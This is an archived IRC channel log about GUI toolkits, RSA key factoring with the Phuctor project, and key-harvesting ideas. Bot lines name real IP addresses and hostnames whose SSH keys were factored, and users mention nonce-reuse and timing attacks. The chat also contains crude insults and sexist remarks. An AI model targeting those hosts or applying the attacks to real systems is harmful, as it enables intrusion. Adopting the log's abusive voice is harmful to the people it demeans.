1640540;1491685774;phf;couldn't find it, but he was basically correct. after jumping through a lot of retarded hoops i got to run xquartz on a retina mac at 1-to-1 pixel, and pretty much any of the type1 fonts at 230 or so look quite good 1640541;1491685949;phf;jurov: kind of, in a roundabout way. i gave up on mcclim and that whole crowd last time they were mentioned here, but i'm slowly reviving allegro's clim2 1640542;1491686078;phf;there's a working purey xlib backend that uses very minimal decoration and server side font-rendering. i'm trying to figure out how to make it look like not-shit, without compromising the integrity 1640543;1491686101;jurov;iirc clim's problem is not so much AA, but butt-ugly widgets? 1640544;1491686124;phf;that's mcclim specifically 1640545;1491686272;phf;well, fwiw i've no idea if you can make clim non-ugly (i'm not even sure at this point what "ugly" means. you certainly can't trivially make it look the way "people come to expect") 1640546;1491686318;phf;but mcclim made some decisions early on, where the default x widgets set was designed to ~look~ like popular the time "athena" widget set. which made the whole thing even uglier. 1640547;1491686321;phf;like https://common-lisp.net/project/climacs/images/screenshots/old/swine-ss.png 1640548;1491686353;jurov;well, are there screenshots for clim2 ? 1640549;1491686435;phf;well, that's the thing, the original backend from clim2 goes all the way back to genera, and it's literally all solid 1-pixel lines, and bulk of the display is text. 1640550;1491686444;phf;like http://www.ifis.uni-luebeck.de/~moeller/uims-clim/genera-fs.gif 1640551;1491686458;jurov;however, i personally have no issues with ugliness. i hate most if it opaquely monopolizes event loop (like qt) and then networking is a problem 1640552;1491686460;phf;or https://symbolics.lisp.engineer/content/images/2016/08/Screen-Shot-2016-08-28-at-3-43-06-PM.png 1640553;1491686491;phf;like above is not clim, but genera's flavor's bade gui, but same principle 1640554;1491688917;ben_vulpes;jurov: qt necessarily requires performing networking on the ui thread? 1640555;1491689027;ben_vulpes;phf: i would be happy to try living in either of those 'ui's 1640556;1491689072;ben_vulpes;nobody needed gradients-twiddled-per-local-magnetic-field anyways 1640557;1491689891;asciilifeform;the bolix screenshits, interestingly, i do not find ugly 1640558;1491689900;asciilifeform;i quite like the high-contrast pure b&w thing. 1640559;1491689905;asciilifeform;the clim -- different story. 1640560;1491689907;asciilifeform;looks like shit. 1640561;1491689948;asciilifeform;possibly part of it is that the bolix font does not look pixellated. 1640562;1491690009;asciilifeform;http://btcbase.org/log/2017-04-08#1640547 << but also the, e.g., grey->white conjunction, makes for 'low contrast' feel, blur. 1640563;1491690009;a111;Logged on 2017-04-08 21:18 phf: like https://common-lisp.net/project/climacs/images/screenshots/old/swine-ss.png 1640564;1491690029;asciilifeform;ditto grey/black 1640565;1491690038;asciilifeform;distinct windows3.1 flavour. 1640566;1491690072;asciilifeform;the popup crapola, also, wtf, '90s microshit called, wants its ui back. 1640567;1491691497;asciilifeform;http://btcbase.org/log/2017-04-08#1640534 << gurl dun like the disciplinary-sanitarium of 'civilized society' and gets diagnosed, unsurprisingly, with вялотекущая шизофрения (tm)(r)(su) 1640568;1491691497;a111;Logged on 2017-04-08 20:07 BingoBoingo: Moar Ferguson http://www.nydailynews.com/new-york/nyc-crime/teen-mcdonald-gang-attack-punished-terrorizing-rikers-article-1.3022777 1640569;1491694175;BingoBoingo;aha 1640570;1491695390;shinohai;https://twitter.com/HillaryWarnedUs 1640571;1491695420;shinohai;"We didn't listen to her, and now it's too late" 1640572;1491697190;BingoBoingo;!~bcstats 1640573;1491697191;jhvh1;BingoBoingo: Current Blocks: 461033 | Current Difficulty: 4.99635929816E11 | Next Difficulty At Block: 461663 | Next Difficulty In: 630 blocks | Next Difficulty In About: 4 days, 13 hours, 16 minutes, and 36 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1640574;1491697260;deedbot;http://www.contravex.com/2017/04/08/sky-cats-and-ice-skates/ << » Contravex: A blog by Pete Dushenski - Sky cats and ice skates. 1640575;1491703259;danielpbarron;http://btcbase.org/log/2017-04-05#1637510 << hah! this is because of the rick and morty season 3 premier. am I the only fan here? 1640576;1491703259;a111;Logged on 2017-04-05 00:04 shinohai: https://pbs.twimg.com/media/C8lCsRKUAAE1n-2.jpg 82 bids ffs 1640577;1491703488;shinohai;Are you THAT BIG a fan danielpbarron that you'd pay ~83 BTC for some sauce ? 1640578;1491703996;ben_vulpes;from the interesting-claims-department: "we show that our targeted stack-spraying approach allows attackers to reliably control more than 91% of the Linux kernel stack, which, in combination with uninitialized-use vulnerabilities, suffices for a privilege escalation attack." 1640579;1491704107;ben_vulpes;http://archive.is/91Yho 1640580;1491704153;ben_vulpes;google unturds pdfs now? http://webcache.googleusercontent.com/search?q=cache:http://www.cc.gatech.edu/~klu38/publications/ubi-ndss17.pdf 1640581;1491704217;ben_vulpes;not even impossible to read in lynx 1640582;1491704772;shinohai;O.o 1640583;1491705278;danielpbarron;shinohai, no i would not. might be adult swim bidding it up as a promo. On related note, wendy's fastfood chain is helping some highschool kid break world record retwats to promote their "chicken" nuggets. more than a million bots obliged in one day. goal is 18 million 1640584;1491705398;shinohai;kek 1640585;1491705503;mircea_popescu;sooo... i went to this russian bath/blinyi house for a... russian rock concer. 1640586;1491705862;mircea_popescu;http://btcbase.org/log/2017-04-08#1640497 << you're goingt to have a default. which default are you going to have ? 1640587;1491705862;a111;Logged on 2017-04-08 17:37 Framedragger: certainly not worth your time. and i understand. just find this 'call thief by default' funny; but it's probably borne of experience, simply 1640588;1491705932;shinohai;hah mircea_popescu .... you survived the Russian chicks WITH NO POGROM! 1640589;1491705961;ben_vulpes;danielpbarron: i enjoy the wendy's twitter 1640590;1491705988;ben_vulpes;not to the extent that i enjoy agent orange's, but every now and again i see a stack like http://imgur.com/gallery/yNlZI and get a few chuckles out of it 1640591;1491706018;ben_vulpes;http://i.imgur.com/4nvPOF2.png for example is funny. i like the interbrand hostility. 1640592;1491706022;mircea_popescu;actually... the "russian rock concert" was a chick barely qualified to be the hottie in average senior hs class doing karaoke. her jeans were adorned with a scarf underlining her completely virginal inability to use her hips, and moreover she had one motor glove on, so it's ok. 1640593;1491706067;mircea_popescu;but, get this. i ask for tea, girl promises in approximate spanish (do youspeak english ? nope. french ? nope.) that she'l;l show me. comes over with a bunch of early grey paper bags and cups of hot water. 1640594;1491706091;mircea_popescu;NO FUCKING SAMOVAR. wtf is even the point, call it russian wanna-be house then 1640595;1491706240;mircea_popescu;http://btcbase.org/log/2017-04-08#1640532 << will do yeh 1640596;1491706240;a111;Logged on 2017-04-08 19:53 jurov: coinbr orders fixed. mircea_popescu pls to process 1640597;1491706318;mircea_popescu;http://btcbase.org/log/2017-04-08#1640545 << actually a new aesthetic would bne quite welcome. the apple shit died with jobs. 1640598;1491706318;a111;Logged on 2017-04-08 21:17 phf: well, fwiw i've no idea if you can make clim non-ugly (i'm not even sure at this point what "ugly" means. you certainly can't trivially make it look the way "people come to expect") 1640599;1491706365;*;shinohai shudders at the thought of no samovar, would have pointed them to Eulora 1640600;1491706403;asciilifeform;it ain't new, it is copy of 'athena' ( the thing found on old suns, that made their ui eye-clawing fugly and painful to navigate ) 1640601;1491707365;mircea_popescu;i was talking in general! 1640602;1491709313;ben_vulpes;cpp is just delightful 1640603;1491709355;ben_vulpes;so if i have a `std::map> stuffMap`, is it legal to say `stuffMap[k].push_back(newV)` 1640604;1491709357;ben_vulpes;? 1640605;1491709426;*;ben_vulpes will eventually 'tias', ofc 1640606;1491714145;deedbot;http://phuctor.nosuchlabs.com/gpgkey/121F12879B4C8F09CB23FECFF93DCF183A83F2C5F51D2A841442F3066B30C343 << Recent Phuctorings. - Phuctored: 1492...7877 divides RSA Moduli belonging to '147.102.194.37 (ssh-rsa key from 147.102.194.37 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (het27.physics.ntua.gr. GR I) 1640607;1491714145;deedbot;http://phuctor.nosuchlabs.com/gpgkey/121F12879B4C8F09CB23FECFF93DCF183A83F2C5F51D2A841442F3066B30C343 << Recent Phuctorings. - Phuctored: 1559...3553 divides RSA Moduli belonging to '147.102.194.37 (ssh-rsa key from 147.102.194.37 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (het27.physics.ntua.gr. GR I) 1640608;1491715762;deedbot;http://phuctor.nosuchlabs.com/gpgkey/724ED716959BD22E678E1817347303FBF337E3EA5628D2E2E8FB86B73DC5F9E1 << Recent Phuctorings. - Phuctored: 1543...1669 divides RSA Moduli belonging to '83.18.244.46 (ssh-rsa key from 83.18.244.46 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (bxk46.internetdsl.tpnet.pl. PL) 1640609;1491715762;deedbot;http://phuctor.nosuchlabs.com/gpgkey/724ED716959BD22E678E1817347303FBF337E3EA5628D2E2E8FB86B73DC5F9E1 << Recent Phuctorings. - Phuctored: 1690...9873 divides RSA Moduli belonging to '83.18.244.46 (ssh-rsa key from 83.18.244.46 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (bxk46.internetdsl.tpnet.pl. PL) 1640610;1491717362;deedbot;http://phuctor.nosuchlabs.com/gpgkey/3A718ECFFC25538C810A3CBA67638DE83B18E3ACDC399E8179E280FB6F858FF3 << Recent Phuctorings. - Phuctored: 1650...6967 divides RSA Moduli belonging to '92.243.12.226 (ssh-rsa key from 92.243.12.226 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (xvm-12-226.ghst.net. FR) 1640611;1491717362;deedbot;http://phuctor.nosuchlabs.com/gpgkey/3A718ECFFC25538C810A3CBA67638DE83B18E3ACDC399E8179E280FB6F858FF3 << Recent Phuctorings. - Phuctored: 1778...2423 divides RSA Moduli belonging to '92.243.12.226 (ssh-rsa key from 92.243.12.226 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (xvm-12-226.ghst.net. FR) 1640612;1491726123;jurov;ben_vulpes: as they say - "moved networking to own thread. now i have two problems." 1640613;1491742851;Framedragger;!!up BenBE 1640614;1491742851;deedbot;BenBE voiced for 30 minutes. 1640615;1491742861;Framedragger;BenBE: you had some questions about phuctor? 1640616;1491742881;Framedragger;relevant folks may be afk right now, tho. best to hang around after asking :) 1640617;1491743087;mircea_popescu;http://btcbase.org/log/2017-04-08#1640567 << i suppose in the end the ustards will be remembered as "a group of know-nothings with bad answers for every question". 1640618;1491743087;a111;Logged on 2017-04-08 22:44 asciilifeform: http://btcbase.org/log/2017-04-08#1640534 << gurl dun like the disciplinary-sanitarium of 'civilized society' and gets diagnosed, unsurprisingly, with вялотекущая шизофрения (tm)(r)(su) 1640619;1491743115;BenBE;Are the keys mentioned in the stats somehow available as e.g. one big PGP dump file each? 1640620;1491743134;mircea_popescu;http://btcbase.org/log/2017-04-09#1640583 << i imagine you have it. 1640621;1491743134;a111;Logged on 2017-04-09 02:34 danielpbarron: shinohai, no i would not. might be adult swim bidding it up as a promo. On related note, wendy's fastfood chain is helping some highschool kid break world record retwats to promote their "chicken" nuggets. more than a million bots obliged in one day. goal is 18 million 1640622;1491743144;mircea_popescu;BenBE you mean the phuctor db ? 1640623;1491743163;BenBE;Essentially yes :) 1640624;1491743238;mircea_popescu;asciilifeform linked a dump at some point, check the logs. the principal parts are a sks+trims (keybase, whatnot) dump that might be still available, though 2 years back in logs, and Framedragger 's ssh scan results, which he might share with you. 1640625;1491743245;mircea_popescu;then again he might not, seeing how who are you. 1640626;1491743269;Framedragger;!$ phuctor 1640627;1491743269;scriba;Phuctor - main site: http://phuctor.nosuchlabs.com/ ; stats: http://siphnos.mkj.lt/phuctor-stats/ (cached) / http://phuctor.nosuchlabs.com/stats (main source) ; ssh scanner - data: http://siphnos.mkj.lt/datadrop/ 1640628;1491743276;Framedragger;technology! 1640629;1491743279;mircea_popescu;a there you go 1640630;1491743306;mircea_popescu;nice little trim ya got there f. 1640631;1491743379;mircea_popescu;what the fuck are all these people with penis pill spam still doing. seriously know, it's been out what, 20 years ? anyone who wants it has some / knows where to get it. who the fuck goes "oh, wow, check it out, penis pills! ima get myself sum o dat!" 1640632;1491743428;BenBE;Getting the keys from the website is possible, but needing to scrape them is somewhat a bad solution (for all sides). The project I'm currently working on is an information service where you can ask for a public key or its fingerprint and the service will tell you some stuff about that key (type, where it was used before, has it been factored, is it sensibly sane, compromised and so on. 1640633;1491743430;mircea_popescu;and where the hell is the "oh, cocaine, will get you high!!1" spam. 1640634;1491743452;mircea_popescu;BenBE so you mean sorta like phuctor but with less information ? 1640635;1491743465;*;shinohai suddenly remembers cocaine has properties that make it almost as effective as dick pills ..... 1640636;1491743466;mircea_popescu;why not just link it. school busywork or what is it ? 1640637;1491743483;mircea_popescu;shinohai much better : the cocke you feed to the girls! 1640638;1491743502;*;mircea_popescu always prefers to treat all conditions with pills ~other people~ swallow. 1640639;1491743511;shinohai;^ 1640640;1491743538;mircea_popescu;the way to paradise is paved with other people's deglutition. 1640641;1491743553;shinohai;Pills are like phone apps in America it seems. "Oh you have the sniffles? There's a pill for that!" 1640642;1491743568;BenBE;mircea_popescu: Like phuctore, but larger scope of key base (also covers X.509) 1640643;1491743588;mircea_popescu;!~google x.509 1640644;1491743589;jhvh1;mircea_popescu: X . 509 - Wikipedia: ; What is X . 509 certificate? - Definition from WhatIs.com: ; What is an X . 509 Certificate? - Stormpath: 1640645;1491743598;Framedragger;https 1640646;1491743621;Framedragger;BenBE: you can generate the phuctor fingerprint for linking directly to phuctor via http://siphnos.mkj.lt/datadrop/crap-from-scans-to-be-sorted/phuctor-fp.py (could be useful) 1640647;1491743632;mircea_popescu;shinohai could it nuke those <>; it fucks up the logotrons 1640648;1491743672;mircea_popescu;BenBE apparently x.509 is a john smithism, "here's a wrapper for reality i created because i'm from america and here we're retarded". what specifically do you mean, ecdsa ? 1640649;1491743680;shinohai;I need to dig deeper into that, last attempt at removing the <> resulted in breaking the whole damned thing because python is a turd. 1640650;1491743684;mircea_popescu;there aren't ~that many~ pki systems. 1640651;1491743698;mircea_popescu;shinohai ah ok. 1640652;1491743703;Framedragger;eh there was a plan for phuctor to ingest these certs, too, i think? 1640653;1491743712;Framedragger;(but yeah unclear.) 1640654;1491743713;mircea_popescu;shinohai seems easier though to chase you to drop it than to add it to the log standards. 1640655;1491743749;mircea_popescu;Framedragger phuctor being a republic item it can only eat realities. how is it going to eat "evanghelical church" ? bitch, unwrap your branding, what is it ? 1640656;1491743760;mircea_popescu;i dun expect we're going to be doing anything but rsa because well... how ? 1640657;1491743800;Framedragger;mircea_popescu: sure. but there are rsa keys in https certs out there. but yet to be empirically approached and estimated, sure 1640658;1491743828;mircea_popescu;i thought it's a 100% imperial racket, they use whatever faux crypto currently fashionable. 1640659;1491743846;mircea_popescu;i guess could try and fish out the actual rsa keys from self-signed certs maybe 1640660;1491743858;Framedragger;my https certs use rsa iirc (was some time ago so would need to check) 1640661;1491743879;mircea_popescu;are they verizon issued ? or whatever the imperial anointed scammer involved with this racket is 1640662;1491743885;mircea_popescu;it was v something 1640663;1491743888;Framedragger;not only self-signed - in https you can have public rsa key but with additional 'chain' of imperial. still extractable 1640664;1491743900;mircea_popescu;perhaps. but what is the return on that labour ? 1640665;1491743908;mircea_popescu;they still issue diddled certs anyway. 1640666;1491743913;Framedragger;further breakage of https :) 1640667;1491743917;Framedragger;rightright. 1640668;1491743919;mircea_popescu;you're asking me to find the second-possible cause of death of a corpse. 1640669;1491743926;mircea_popescu;"But doc, had THIS not killed him, what would have next ?" 1640670;1491743927;shinohai;mircea_popescu: what do you (and the other lords) think of https://searx.me/ ? 1640671;1491743936;mircea_popescu;shinohai first time i see it. 1640672;1491743937;shinohai;( It's foss, so don't shoot me ) 1640673;1491743938;Framedragger;mircea_popescu: digicert etc. 1640674;1491743957;Framedragger;mircea_popescu: myeah. 1640675;1491743991;mircea_popescu;anyway, that's my stance : it is pointless to inquire in the mathematical security of x.509 and related source schemes, because they are not secure by design anyway. 1640676;1491744054;BenBE;mircea_popescu: I planned on DSA/ECDSA, but that's quite low on the priority list right now. Attack on both works somewhat different and requires data collection not as easily obtained as with RSA. 1640677;1491744077;mircea_popescu;BenBE are you privy to an approach to ecdsa ? 1640678;1491744138;BenBE;Some basic idea on old attacks (nonce reuse in particular), not fully up-to-date 1640679;1491744207;mircea_popescu;seems if you were going after ecdsa you'd attack the curves not the keys. kind of a wasted effort seeing how the curve authors already know the holes and why the fuck would i bother when blacklisting works so well. but anyway. 1640680;1491744288;Framedragger;i don't personally think it's a completely wasted effort if any backdoors in parameters are opened up to all, vs. just the owners. 1640681;1491744305;mircea_popescu;return on labour Framedragger ! 1640682;1491744307;BenBE;Lacking the resources for performing the ECDSA part right now anyway (thus low on the priority list) 1640683;1491744323;Framedragger;you may be underestimating the scope of EC crypto in use on teh world. (then again, why should one care about a broken world anyway, sure) 1640684;1491744327;Framedragger;mircea_popescu: hm sure :) 1640685;1491744365;mircea_popescu;and especially as a small and high mommentum entity you DO NOT want to go chasing any "large investment upfront payout way later" deals. so much "low investment payout over time in exponential fahsion" holes still available. 1640686;1491744382;BenBE;There's quite some EC in use currently. And be it all those "transparency logs" 1640687;1491744421;mircea_popescu;that's kind-of the principal impedance mismatch tmsr gotta deal with : the natural membership is highly technically skilled, which in general comes out of a tendency to focus and follow in depth. this means it selects for a certain bias in task seleciton. however, due to tactical considerations, most of the useful work is exactly opposite. 1640688;1491744477;mircea_popescu;which is just a restatement of http://btcbase.org/log/2017-04-07#1639838 1640689;1491744477;a111;Logged on 2017-04-07 14:17 asciilifeform: if i had insisted, phuctor would still be a waited-for thing 1640690;1491744488;mircea_popescu;BenBE those who ? 1640691;1491744565;BenBE;mircea_popescu: Mostly the Certificate Transparency logs used by browsers, block chains used in many (if not most) crypto currencies. All public records containing both public keys and signatures made by them. 1640692;1491744595;BenBE;Thus exactly the information you need to attack those keys by looking for nonce reuse isses. 1640693;1491744611;mircea_popescu;ah 1640694;1491744632;Framedragger;ah yes i forgot what bitcoin uses lol. 1640695;1491744634;Framedragger;that, too 1640696;1491744655;mircea_popescu;myeah. 1640697;1491744668;mircea_popescu;well, hopefully this problem gets resolved by crap not making it into trb-i 1640698;1491744724;Framedragger;!!up BenBE 1640699;1491744725;deedbot;BenBE voiced for 30 minutes. 1640700;1491744838;BenBE;Well, IMHO it's not that most crypto is bad. It's the systems it's used in. Plus, most systems are quite fixed on one particular algorithm yielding an easy-to-attack ecosystem. 1640701;1491745457;mircea_popescu;BenBE this imho stuff is no good because we don't know who you are. who are you ? 1640702;1491745571;jhvh1;BenBE, who is your daddy and what does he do? 1640703;1491745720;BenBE;I'm the maintainer of the GeSHi syntax highlighter for PHP, which is used in e.g. Wikipedia for source highlighting of articles. Also working on several crypto-related projects like my own TLS/SSL test, a collection of publicly-known set of compromised keys, an OpenSource management software for handling X.509 certificate issuance for a certificate authority. 1640704;1491745729;mircea_popescu;got a gpg key ? 1640705;1491745745;BenBE;Yes. Several. 1640706;1491745771;mircea_popescu;pick one you're never going to ever lose, stick it in http://wotpaste.cascadianhacker.com/ then say !!register http://wotpaste.cascadianhacker.com/blabla 1640707;1491745817;Framedragger;BenBE: cool 1640708;1491745870;jhvh1;That's a lot of words to not tell me who your daddy is. 1640709;1491745893;mircea_popescu;shinohai dun knock it, might've been the best answer to date. except perhaps that reuters chick. 1640710;1491745904;shinohai;lol 1640711;1491745934;BenBE;!!register http://wotpaste.cascadianhacker.com/pastes/oKKWn/?raw=true 1640712;1491745949;deedbot;DBCDD109DEB2BF7812D6056F3E26EAC5AE73583E registered as BenBE. 1640713;1491745952;*;shinohai may make a compilation of "Who is your daddy" replies one day ... 1640714;1491745975;mircea_popescu;!!rate BenBE 1 http://btcbase.org/log/2017-04-09#1640703 / php something 1640715;1491745975;a111;Logged on 2017-04-09 13:48 BenBE: I'm the maintainer of the GeSHi syntax highlighter for PHP, which is used in e.g. Wikipedia for source highlighting of articles. Also working on several crypto-related projects like my own TLS/SSL test, a collection of publicly-known set of compromised keys, an OpenSource management software for handling X.509 certificate issuance for a certificate authority. 1640716;1491745977;deedbot;Get your OTP: http://p.bvulpes.com/pastes/QPFcg/?raw=true 1640717;1491745999;mircea_popescu;!!v B67FA3B83D21D098FF4B283327F3DB37C667FF2FF4E23338340B30BF90C32BD4 1640718;1491745999;deedbot;mircea_popescu rated BenBE 1 << http://btcbase.org/log/2017-04-09#1640703 / php something 1640719;1491746022;mircea_popescu;BenBE now you can self-voice (!!v ) ; do that it'll save us the trouble to up you. 1640720;1491746026;mircea_popescu;also, do you know what a wot is ? 1640721;1491746096;BenBE;mircea_popescu: thx. 1640722;1491746113;BenBE;You mean WOT as in Web-of-Trust? 1640723;1491746136;mircea_popescu;yes, i do. see also http://trilema.com/2014/what-the-wot-is-for-how-it-works-and-how-to-use-it/ as companion reading. 1640724;1491746177;mircea_popescu;tmsr relies on a rsa-based wot implementation. for instance 1640725;1491746182;mircea_popescu;!!gettrust Framedragger BenBE 1640726;1491746182;deedbot;L1: 0, L2: 1 by 1 connections. 1640727;1491746240;mircea_popescu;also the docs for the bots is at http://btcbase.org/log/2016-11-24#1573191 1640728;1491746240;a111;Logged on 2016-11-24 19:29 pete_dushenski: shinohai: updated http://bots.contravex.com with !~lookup and !~display :) 1640729;1491746397;BenBE;mircea_popescu: No only PHP, but also C/C++, Java, web stuff, ASM (mostly x86/x64), Haskell, shell scripting, ... Also, as we are at WoTs: https://keybase.io/benbe 1640730;1491746420;mircea_popescu;cool. 1640731;1491746431;mircea_popescu;i believe you might like it here. 1640732;1491746492;*;Framedragger check https://github.com/BenBE/kompromat later, looks cool 1640733;1491746495;Framedragger;will* 1640734;1491746565;shinohai;!~later tell pete_dushenski Entry in bots directory for "Time since last block" has transposed letter, should be `tslb` - Thanks! 1640735;1491746565;jhvh1;shinohai: The operation succeeded. 1640736;1491746737;Framedragger;unrelated to anything, i'm not sure if my deeding at http://btcbase.org/log/2017-04-08#1640468 worked, as it's not on deedbot.org - or did i misunderstand something? deedbot did say 'accepted: 1' 1640737;1491746737;a111;Logged on 2017-04-08 16:26 Framedragger: !!deed http://p.bvulpes.com/pastes/9LRgl/?raw=true 1640738;1491746750;mircea_popescu;Framedragger possibly didn't manage to get a txn in 1640739;1491746760;Framedragger;ohh, interesting 1640740;1491746763;BenBE;Framedragger: That's one of the resources I will be sourcing my Key Information service from. Contains the private keys for e.g. the OpenSSL Debian Weak Keys (complete) 1640741;1491746789;Framedragger;oh, nice to have all of them at one place, convenient 1640742;1491746793;Framedragger;in* 1640743;1491746807;mircea_popescu;BenBE as your luck has it we just did a phuctor snapshot, the complete list is at http://trilema.com/wp-content/uploads/2017/04/phuctor_snapshot.html 1640744;1491746825;Framedragger;!!deed http://p.bvulpes.com/pastes/9LRgl/?raw=true 1640745;1491746832;mircea_popescu;Framedragger do you currently cache the whole phuctored dir ? 1640746;1491746833;deedbot;accepted: 1 1640747;1491746886;Framedragger;mircea_popescu: everything except sadmods so as not to upset phuctor too much. need to discuss frequency of caching with asciilifeform i think 1640748;1491746916;mircea_popescu;need a better method than downloading the whole list of shit you already know every time. 1640749;1491746933;mircea_popescu;i suppose that method'd be rss 1640750;1491746953;Framedragger;rsa truncates, etc etc, other methods (pg notify / etc as mentioned by trinque) require asciilifeform's intervention 1640751;1491746965;asciilifeform;'Crypto-Nerd who is allergic to bad crypto.' and uses keybase?! 1640752;1491746968;Framedragger;i don't think rsa gives all, just 'first 10' or sth 1640753;1491746983;Framedragger;eh it's like facebook, i have a shitty facebook acct, too 1640754;1491746985;mircea_popescu;anyway, so then the cannonical "i want to import list of phuctor-broken keys" should be http://siphnos.mkj.lt/phuctored/ ? 1640755;1491747022;mircea_popescu;Framedragger dja mean rss ? that's the fucking point, to truncate, so you don't keep getting ancient data 1640756;1491747048;Framedragger;mircea_popescu: i mean that not *all* new entries are included, rsa truncates, them, too. asciilifeform can confirm tho. 1640757;1491747059;mircea_popescu;oh 1640758;1491747065;mircea_popescu;that's no good then 1640759;1491747066;asciilifeform;waiwat 1640760;1491747079;Framedragger;mircea_popescu: siphnos url is http://siphnos.mkj.lt/phuctor-stats/ - i don't think 'canonical' can be decided until a sane caching strategy is decided, tho. 1640761;1491747082;Framedragger;or not? 1640762;1491747085;mircea_popescu;i wasn'\t aware it does, that's what deedbot uses to pipe here also 1640763;1491747087;Framedragger;did i do a fakenews 1640764;1491747109;asciilifeform;trinque truncated the rsa in the bot, with ellipsis 1640765;1491747124;asciilifeform;otherwise end gets cut 1640766;1491747124;mircea_popescu;Framedragger we're not discussing the stats but the meat of the matter. same stuff as is in the link i gave him above (http://trilema.com/wp-content/uploads/2017/04/phuctor_snapshot.html) 3mb or w./e it is 1640767;1491747129;Framedragger;asciilifeform: oh, so only the deedbot announcer here on irc excludes some new keys? 1640768;1491747142;asciilifeform;Framedragger: not afaik 1640769;1491747145;mircea_popescu;does not exclude new keys, excludes middle chars of found factors. 1640770;1491747154;mircea_popescu;because fixed line space in irc proto 1640771;1491747154;asciilifeform;on a few occasions buffer overran 1640772;1491747159;Framedragger;mircea_popescu: if you check, the hrefs on that index page link to phuctored.html on siphnos etc 1640773;1491747168;Framedragger;asciilifeform: mircea_popescu: ok, sorry for that then 1640774;1491747175;BenBE;asciilifeform: it's not totally broken (as with GnuPGs normal WoT) in that it makes transparent to not expect too much from it, appart from account associations. 1640775;1491747179;asciilifeform;(rss overran faster than deedbot ate) 1640776;1491747195;mircea_popescu;BenBE "Shit Restaurant ; Don't Expect No Turds!" ? 1640777;1491747196;Framedragger;mircea_popescu: the only external-dump link there is sadmods (not yet cached - again, unsure of impact on phuctor performance) 1640778;1491747218;mircea_popescu;Framedragger so then, to get back. next time someone wants what BenBE wanted above the answer should be http://siphnos.mkj.lt/phuctored,html ? 1640779;1491747230;mircea_popescu;well dot rather than comma, but anyway. 1640780;1491747232;Framedragger;http://siphnos.mkj.lt/phuctor-stats/phuctored.html 1640781;1491747238;mircea_popescu;aha. cool. 1640782;1491747244;Framedragger;http://siphnos.mkj.lt/phuctor-stats/dupes.html 1640783;1491747256;asciilifeform;BenBE: 1) they want your privkey 2) they purport to accept 'private' msgs to you, on their www 1640784;1491747264;Framedragger;and presumably sadmods as well in the future (again, not yet cached) 1640785;1491747277;mircea_popescu;hopefully we don't end up with too many people importing this and then wanting to strangle us when the obviously adhoc tree ends up rebased. 1640786;1491747279;asciilifeform;3) they can serve up whatever as 'your' pubk to others 1640787;1491747356;BenBE;asciilifeform: 1) No, can use it without (just need to do stuff on the command line then) 2) not a feature you need to use. There's a CLI clint you can audit and use. 1640788;1491747407;mircea_popescu;BenBE the problem is that others may attempt to use it and involve you thereby. which is also the whole of their business plan, i'm sure you realise. anyway, the whole thing's moot : proper wot exists, we're using it, the soup can go hang. 1640789;1491747418;asciilifeform;also, to answer earlier q: there are already very effective pills against ssl: timing attack, nonce reuse for dsa (you can find existing code) 1640790;1491747451;BenBE;Suggstiong: you have all the keys available that make up those dumps. What about using a batch job (once per day) creating a large .pgp file people can download. That's both static and gives people all the information (create UIDs for the extra stuff if necessary) 1640791;1491747468;asciilifeform;but phuctor is for finding weak ~genuine~ crypto: offline rsa with dud moduli 1640792;1491747476;mircea_popescu;BenBE trouble is we're moving away from the inept koch standard. 1640793;1491747524;mircea_popescu;you can have the moduli, atm. once a proper standard for rsa key wrapping is decided upon, can also have that. state of the art atm is http://btcbase.org/log-search?q=e%2CN%2Ccomment 1640794;1491747534;asciilifeform;and no i am not interested in giving it away as an ornamental flower on some low-effort pile of ?. there is a reason the source is private. 1640795;1491747565;asciilifeform;get the published data, verify it, write yet own, learn something! 1640796;1491747587;mircea_popescu;asciilifeform i'm not sure what you're saying. 1640797;1491747638;asciilifeform;mircea_popescu: that 'i'ma write a phuctor but for EVERY!! type of key' is a n00b mistake 1640798;1491747793;mircea_popescu;ah, sure. 1640799;1491747800;mircea_popescu;tbh i'm not sure what fellow's trying to do, but anyway. 1640800;1491747825;asciilifeform;and that folks who want to 'embrace and extend' phuctor are on their own. 1640801;1491747829;mircea_popescu;for a moment there it read as "i don't like $newguy, he might do something stupid." which is silly, let him do the stupid first, not like him after. wtf preemptive dislike. 1640802;1491747847;asciilifeform;i like him just fine, hence attempt to educate. 1640803;1491747885;asciilifeform;'write your own phuctor' is not an insult, but a homework 1640804;1491747903;BenBE;It is when you can't handle the vast amount of data it involves (and yes, I know that vast is an understatement here). Alone building a database to manage all the raw data for my KeyInfoDB/Kompromat project is ~500GB (compressed) keys. Automating stuff for grabbing these at their source for import is a chalenge of its own. 1640805;1491747948;BenBE;But getting everything into place helps alot figuring out how to best optimise your DB, how to perform imports, and so on. 1640806;1491747959;asciilifeform;i published an sks eater here a few yrs ago, search logs 1640807;1491747968;BenBE;Can't claim I didn't learn anything while preparing to setup my project. 1640808;1491748050;asciilifeform;brb 1640809;1491748082;*;BenBE operates http://pgp.benny-baumann.de/ -> direct access to ingest PGP keys live :) 1640810;1491748120;mircea_popescu;dja understand why we don't like fc 4880 format ? 1640811;1491748406;BenBE;Hard to parse, the RFC is somewhat strange, and possibly other things. 1640812;1491748516;mircea_popescu;absolutely not. 1640813;1491748620;BenBE;At least those were the aspects I mostly disliked about it. What were yours? 1640814;1491748661;Framedragger;!#s rfc4880 1640815;1491748662;a111;42 results for "rfc4880", http://btcbase.org/log-search?q=rfc4880 1640816;1491748751;mircea_popescu;it is deliberately constructed to weaken rsa ; take the recent http://btcbase.org/log-search?q=%22sha%22+gpg "sha fails, koch-gpg fingerprints are meaningless", which had been foretold here for... years. 1640817;1491748865;mircea_popescu;but to be perfectly clear : rfc 4880 is not technically weak. it is politically subverside, and deliberately so. it consists of the same material that has schneider running around trying to convince people turning their computer in for an ipad is "the way to bright future of socialism", or of the uk cocksuckers that covered up rotherham droning on as to how they have to have 